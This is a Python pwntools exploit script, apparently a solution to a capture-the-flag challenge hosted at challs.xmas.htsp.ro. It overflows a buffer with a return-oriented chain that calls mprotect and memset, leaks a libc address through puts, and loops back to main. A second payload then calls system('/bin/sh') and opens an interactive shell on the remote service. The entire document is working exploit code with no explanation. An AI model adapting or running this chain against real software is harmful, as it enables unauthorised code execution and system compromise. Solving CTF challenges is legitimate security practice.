text: #!/usr/bin/env python3
  
  from pwn import *
  
  binary = context.binary = ELF('./chall')
  binary.symbols['main'] = 0x40078c
  
  if args.REMOTE:
  	p = remote('challs.xmas.htsp.ro', 2001)
  	libc = ELF('libc.so.6')
  else:
  	p = process(binary.path)
  	libc = binary.libc
  
  rop = ROP([binary])
  pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
  
  payload  = b'\0'
  payload += (0x48 - len(payload)) * b'A'
  
  # unprotect
  # 0x4008e1: pop rsi; pop r15; ret;
  payload += p64(0x4008e1)
  payload += p64(1)
  payload += p64(0)
  # 0x400786: mov rdx, r15; nop; pop rbp; ret;
  payload += p64(0x400786)
  payload += p64(0xdeadbeef)
  payload += p64(pop_rdi+1)
  payload += p64(pop_rdi)
  payload += p64(0x601099)
  payload += p64(binary.plt.mprotect)
  
  # mark it zero!
  # 0x4008e1: pop rsi; pop r15; ret;
  payload += p64(0x4008e1)
  payload += p64(0)
  payload += p64(1)
  # 0x400786: mov rdx, r15; nop; pop rbp; ret;
  payload += p64(0x400786)
  payload += p64(0xdeadbeef)
  payload += p64(pop_rdi)
  payload += p64(0x601099)
  payload += p64(binary.plt.memset)
  
  # leak libc, loop back to main
  payload += p64(pop_rdi)
  payload += p64(binary.got.puts)
  payload += p64(binary.plt.puts)
  payload += p64(binary.sym.main)
  
  p.sendlineafter('Christmas?\n', payload)
  
  _ = p.recv(6)
  puts = u64(_ + b'\0\0')
  libc.address = puts - libc.sym.puts
  log.info('libc.address: ' + hex(libc.address))
  
  payload  = b'\0'
  payload += (0x48 - len(payload)) * b'A'
  payload += p64(pop_rdi)
  payload += p64(libc.search(b'/bin/sh').__next__())
  payload += p64(libc.sym.system)
  
  p.sendlineafter('Christmas?\n', payload)
  p.interactive()
  